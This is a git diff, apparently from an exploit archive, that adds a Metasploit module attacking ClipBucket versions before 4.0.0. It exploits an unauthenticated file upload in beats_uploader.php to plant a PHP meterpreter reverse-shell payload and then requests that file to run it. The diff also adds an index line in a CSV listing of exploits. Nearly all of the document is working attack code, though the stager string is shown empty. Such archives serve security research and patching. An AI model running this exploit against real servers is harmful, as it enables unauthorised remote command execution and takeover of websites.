diff --git a/exploits/php/webapps/44346.rb b/exploits/php/webapps/44346.rb new file mode 100755 index 000000000..93c90c69f --- /dev/null +++ b/exploits/php/webapps/44346.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", + 'Description' => %q{ + This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902). + A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability. + It is possible for an attacker to upload a malicious script to issue operating system commands. + This issue is caused by improper session handling in /action/beats_uploader.php file. + This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'www.sec-consult.com', # Vulnerability Discovery, PoC + 'Touhid M.Shaikh ' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '44250' ] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'Encoder' => 'php/base64' + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Clipbucket < 4.0.0 - Release 4902', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Mar 03 2018", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) + ]) + end + + def uri + return target_uri.path + end + + def check + vprint_status('Trying to detect ClipBucket on target.') + + # check for readme file + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'readme') + }) + + unless res + vprint_error('Connection failed') + return CheckCode::Unknown + end + + unless res.code == 200 && res.body.include?('ClipBucket') + vprint_error('Could not find readme') + return CheckCode::Safe + end + + # check for beats_uploader.php file + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php') + }) + + unless res + vprint_error('Connection failed') + return CheckCode::Unknown + end + + unless res.code == 200 + vprint_error('Could not find beats_uploader.php') + return CheckCode::Safe + end + + Exploit::CheckCode::Appears + end + + def exploit + + # generate the PHP meterpreter payload + stager = '' + + # Setting POST data + post_data = Rex::MIME::Message.new + post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload + post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading + post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"') + data = post_data.to_s + + + print_status('Uploading payload..') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'), + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + jsonres = res.get_json_document + + # If the server returns 200 and success yes, we assume we uploaded the malicious + # file successfully + unless res && res.code == 200 && jsonres['success'] == 'yes' + fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") + end + print_good('Looking For Payload..') + pdir = jsonres['file_directory'] + file_name = jsonres['file_name'] + pext = jsonres['extension'] + print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}") + + # Payload name + pname = "#{file_name}.php" + + # Cleanup is Good Idea . + register_files_for_cleanup(pname) + + print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'actions', pdir, pname) + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res && res.code != 200 + print_error('Unexpected response, probably the exploit failed') + end + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 64a25b7a0..9bf3479ab 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -39043,6 +39043,7 @@ id,file,description,date,author,type,platform,port 44318,exploits/php/webapps/44318.txt,"Vehicle Sales Management System - Multiple Vulnerabilities",2018-03-20,Sing,webapps,php, 44324,exploits/multiple/webapps/44324.py,"Cisco node-jos < 0.11.0 - Re-sign Tokens",2018-03-20,zioBlack,webapps,multiple, 44328,exploits/xml/webapps/44328.py,"Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 < 170109) - Access Control Bypass",2018-03-23,Matamorphosis,webapps,xml, +44346,exploits/php/webapps/44346.rb,"ClipBucket - beats_uploader Unauthenticated Arbitrary File Upload (Metasploit)",2018-03-27,Metasploit,webapps,php, 44335,exploits/hardware/webapps/44335.js,"TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery",2018-03-23,"Mans van Someren",webapps,hardware, 44336,exploits/php/webapps/44336.py,"XenForo 2 - CSS Loader Denial of Service",2018-03-23,LockedByte,webapps,php, 44339,exploits/php/webapps/44339.txt,"MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting",2018-03-23,0xB9,webapps,php,